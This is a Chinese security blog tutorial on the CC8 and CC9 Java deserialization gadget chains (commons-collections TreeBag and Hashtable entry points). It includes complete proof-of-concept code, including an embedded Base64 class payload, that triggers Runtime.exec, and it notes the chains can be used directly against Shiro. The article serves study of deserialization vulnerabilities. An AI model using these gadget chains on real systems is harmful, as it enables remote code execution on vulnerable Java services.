本文为JAVA安全系列文章第十八篇,学习Ysoserial七条CC链之外的另外两条CC链—CC8和CC9。重点在于理解掌握TreeMap的底层实现原理。
0x01 CC8链
在CC2和CC4链中,我们认识到了另一个可以调用Transformer#transform()的方法—TransformingComparator#compare()。在这两条链中,我们使用PriorityQueue(优先队列)作为反序列入口,它是基于二叉树和堆,即二叉堆这种数据结构来实现。它的readObject()方法中由于要重构二叉堆,会进行二叉树节点的比较,比较是用Comparator#compare()从而触发Transformer#transform()造成命令执行。
那么我们就要想了,有没有其他基于二叉树的结构,在反序列化时也会调用Comparator#compare()呢?
我们会想到另一个关于树的重要数据结构—红黑树,又称红-黑二叉树,它首先是一棵二叉树,它具有二叉树所有的特性。同时红黑树更是一棵自平衡的排序二叉树。在JAVA中使用TreeMap来实现。
一、TreeMap
我们看到TreeMap#readObject(),但并没有调用到Comparator#compare():
而是在TreeMap#put()调用到Comparator#compare():
那么我们就要去找有没有谁的readObject()调用TreeMap#put()。
关于TreeMap实现原理,具体可参考这篇文章:
https://www.cnblogs.com/chenssy/p/3746600.html
二、TreeBag
由于TransformingComparator在commons-collections4包中才可反序列化,故我们除了JDK中自带的,还可以去找commons-collections4包中的类。
在org.apache.commons.collections4下有一个Bag接口,它继承Collection,计算对象在集合中出现的次数:
而TreeMap对应的Bag为TreeBag:
可序列化,父类为AbstractMapBag,反序列化时调用父类的doReadObject():
可以看到在AbstractMapBag#doReadObject()中可以调用到TreeMap#put(),于是链子就接起来,我们还是采用TemlatesImpl来执行命令,Gadget chain如下:
三、POC编写
有了前面的积累写出POC并不难,不过需要注意此处还是得先传入人畜无害的transformer,再反射修改;另外,虽然涉及到对象的比较,但我们并不需要创建TreeMap的两对键值对,因为TreeMap#put()中:
public V put(K key, V value) {
//用t表示二叉树的当前节点
Entry<K,V> t = root;
//t为null表示一个空树,即TreeMap中没有任何元素,直接插入
if (t == null) {
//比较key值,个人觉得这句代码没有任何意义,空树还需要比较、排序?
compare(key, key); // type (and possibly null) check
...
return null;
}
int cmp; //cmp表示key排序的返回结果
Entry<K,V> parent; //父节点
// split comparator and comparable paths
Comparator<? super K> cpr = comparator; //指定的排序算法
//如果cpr不为空,则采用既定的排序算法进行创建TreeMap集合
if (cpr != null) {
do {
parent = t; //parent指向上次循环后的t
//比较新增节点的key和当前节点key的大小
cmp = cpr.compare(key, t.key);
...
} while (t != null);
}
//如果cpr为空,则采用默认的排序算法进行创建TreeMap集合
else {
if (key == null) //key值为空抛出异常
throw new NullPointerException();
/* 下面处理过程和上面一样 */
Comparable<? super K> k = (Comparable<? super K>) key;
do {
parent = t;
cmp = k.compareTo(t.key);
...
} while (t != null);
}
...
/*
* 上面已经完成了排序二叉树的的构建,将新增节点插入该树中的合适位置
* 下面fixAfterInsertion()方法就是对这棵树进行调整、平衡
*/
fixAfterInsertion(e);
//TreeMap元素数量 + 1
size++;
//TreeMap容器修改次数 + 1
modCount++;
return null;
}
POC如下:
public class CC8 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入一个transformer,其iMethodName为人畜无害的toString,避免add时就弹计算器
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
TreeBag treeBag = new TreeBag(comparator);
treeBag.add(templates);
setFieldValue(transformer,"iMethodName","newTransformer");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(treeBag);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
同样,该链可直接用于攻击shiro且只能在commons.collections4.0下使用。
我想这条链的作者寻找的思路应该是:
先找了基于二叉树这种数据结构实现的类,看这些类的readObject()是否有调用到Comparator#compare(),找到TreeMap的put()方法中会调用Comparator#compare();既然commons-collections是为集合类提供了一些更强大的接口,那么就去找TreeMap在commons-collections组件中对应的类,最终找到TreeBag,发现它的readObject()调用TreeMap的put()进而调用Comparator#compare()。
个人感觉,找链还需要我们对JAVA SE比较熟悉,对数据结构有些了解,这样才有可能构造出新链。
0x02 CC9链
一、调用逻辑
回顾下之前的CC7链,我们是以HashTable为反序列化入口,通过AbstractMap#equals()来触发LazyMap#get(),从而触发Transformer数组造成命令执行的。
在分析HashTable#reconstitutionPut()时,有这样一段代码:
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
此处的key若为TiedMapEntry,则就进入简化版CC6链的后半段,这就是CC9链!!!
二、Gadget chain
三、POC编写
啥也不多说,POC如下:
public class CC9 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = new Transformer[]{};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//先传入人畜无害的fakeformers避免put时就弹计算器
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
Hashtable hashtable = new Hashtable();
hashtable.put(tiedMapEntry,"test");
lazyMap.remove("xxx");
//反射修改chainedTransformer中的iTransformers为transforms
Class clazz = chainedTransformer.getClass();
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
同样,此链可稍作修改使其适配commons-collections4.0
另外Ysoserial中的CC6使用HashSet作为入口,后半部分写了一段较晦涩的代码,此链可看作使用HashTable为入口的CC6,原作者的后半部分也是一段较晦涩的代码:
0x03 总结
一、关于CC8和CC9链
本文的CC8和CC9链我首先是在feihong那款shiro利用工具的反编译代码中看到的:
https://github.com/feihong-cs/ShiroExploit-Deprecated
后来又在wh1t3p1g师傅改造的Ysoserial中看到了源码:
https://github.com/wh1t3p1g/ysoserial/tree/master/src/main/java/ysoserial/payloads
CC8链可看作是受CC2和CC4启发去寻找的新链,CC9链可看作是用HashTable为反序列化入口的CC6链。本文重点在于CC8链,理解掌握TreeMap的底层实现原理。
二、关于CC链的后续学习
1.CC链到此只能说算是告一段落,并不是结束,要时常回顾下前面的分析文章并在此基础上去弄懂Ysoserial中的源码,虽然有些代码比较复杂,但作为一款反序列化的专业工具,其考虑的东西比较多,源码也值得学习;
2.github上也有一些师傅将自己魔改的Ysoserial开源了出来,比如:
su18 师傅的:https://github.com/su18/ysoserial
Y4er师傅的:https://github.com/Y4er/ysoserial
应该还有很多,可以自己去下载学习,魔改出自己的Ysoserial;
3.在众多的CC链中,常被提及或用到的主要是CC1,CC6,CC3,CCK1/K2,CC11,但这并不意味着我们不需要掌握其他CC链了,我们还是应当掌握,重点是学习链的原理,自己多总结构造链、找链的思路。
不建议把几条CC链的前半、后半部分做排列组合就是在找新链了,对技术提升意义并不大,只是玩游戏罢了。
由于本人水平有限,前面的分析文章难免会有错误的地方,大家理性对待,欢迎提出指正!!!
参考:
https://www.cnblogs.com/chenssy/p/3746600.html
https://github.com/wh1t3p1g/ysoserial/tree/master/src/main/java/ysoserial/payloads
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
第17篇:JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链
原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:CC8 CC9链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论